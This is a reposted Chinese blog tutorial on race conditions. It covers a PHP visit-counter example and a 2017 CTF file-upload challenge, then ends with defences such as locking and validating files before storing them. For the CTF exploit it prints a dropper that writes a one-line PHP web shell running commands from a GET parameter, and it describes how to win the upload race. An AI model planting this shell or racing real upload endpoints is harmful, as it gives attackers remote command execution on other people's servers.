[转]来聊聊条件竞争

高宇恒i

共 3111字,需浏览 7分钟

 ·

2023-10-14 06:42

条件竞争,无非就是多个线程(action)同时访问一个数据(data)没有进行加锁操作,而产生非预期结果的行为。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

存在以下条件的事务,可能存在条件竞争:

  1. 并发。至少得存在两个并发执行流。

  2. 共享对象。即多个并行任务访问同一个数据。

  3. 改变数据(写操作)。至少有一个进程对数据进行了改变。如果所有进程执行的都是读操作,那就不会有条件竞争错误了。


举个最简单的条件竞争例子:

      
        
          <?php
        
      
      
        $cnt=file_get_contents('count.txt');
      
      
        
          //count.txt 初始值为0
        
      
      
        $cnt+=1;
      
      
        
          
echo "这个页面已经被访问".$cnt."次了"; file_put_contents('count.txt',$cnt); ?>

在这个代码里,php使用file_get_contents读取count.txt文本,将文本的值进行“+1”操作并进行输出。最后将这个“+1”的值写回这个文本中。

我们在访问这个页面的时候,页面就可以统计这个网页被访问的次数了。

我们有些时候会为了某些目的,去写一个脚本疯狂访问这个页面。但是当我们去让脚本替我们访问1000次的时候,可能最后输出也就几百次(甚至几次)......

怎么回事呢?条件竞争了呗。

可能,在线程0执行到代码第七行的时候($cnt=2),同时有300个进程也在尝试写访问“count.txt”这个文档,它们的$cnt可能不尽相同,也可能都相同。存入的值也就五花八门了。

在存入时,可能会出现互相争抢资源的情况,

比如0号线程存入了个1,

同时4号线存入了个3,

19号线执行的稍微慢些,存入了个1......

或者

在2号线程对文件写入时,文件的值刚被删除,59号线程就读取到了这个空文件的值......然后一切又从零开始了


来看看真实场景下出现的条件竞争吧

      
        
          <?php
        
      
      
        header("Content-Type:text/html;charset=utf-8");
      
      
        $filename = $_FILES['file']['name'];
      
      
        $ext = substr($filename,strrpos($filename,'.') + 1);   #后缀
      
      
        
          
$path = 'uploads/' . $filename; $tmp = $_FILES['file']['tmp_name']; if(move_uploaded_file($tmp, $path)){ if(!preg_match('/php/i', $ext)){ #判断后缀是否为php echo 'upload success,file in '.$path; }else{ unlink($path); #已经上传后判断若是PHP则删除 die("can't upload php file!"); } }else{ die('upload error'); }

这道题,曾是一道17年的CTF题,用户上传文件到服务器上,如果检测到已经上传成功的文件扩展名是.php,那就unlink(删除)它。

在执行完move_uploaded_file之后,执行unlink之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。

就这样,我们弄出了这样的一个php脚本,并打算把它上传到服务器上......

      
        
          <?php
        
      
      
        $content='<?php system($_GET["c"]);?>';
      
      
        file_put_contents('test.php',$content);
      
      
        
          ?>
        
      
    

然后一头一遍又一遍的往这个接口去上传这个脚本,另一头去尝试访问服务器上这个脚本的名称(假设上传成功了的话)和访问这个脚本所生成的一句话木马文件(test.php),如果访问后两个脚本服务端都返回脚本存在,那......

咱们就卡bug成功了呗


总之,我个人认为,条件竞争就是在卡bug。

黑客们在赌,服务器是否会有充分的时间来处理每一条指令。会不会被我们钻到空子

正如我在烤盘饭打工的时候,当前台同时取餐过多时,我们可能会因为没有充分的反应时间,导致忘记回收号牌,出错餐,牌子和夹子对不上等等问题。

这,就是条件竞争。


条件竞争如何防御?

  1. 给服务器足够的时间处理这些请求。(不妨强迫客户端慢一点请求借口......)

  2. 加锁,在向数据库做写入操作的同时,给这行数据表加写锁(别人都不能读取和写入这行数据)

  3. 调优代码逻辑,对不稳登的文件,一定要检查好再存储在服务器上。



反正,应对条件竞争,我们能做的,核心就是:

慢慢来,慢慢处理



“慢慢来”,不仅仅只对条件竞争生效,对感情一样有效。

祝愿(000 0000 01 10)有(1011 001 01 10)情(1011 001)人(1001 00 10)终(1010 0000 0 10)成(1100 10 111)眷(1101 00 01 10)属(000 0000 111 011)(说谁俩谁俩心里清楚)

浏览 4
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报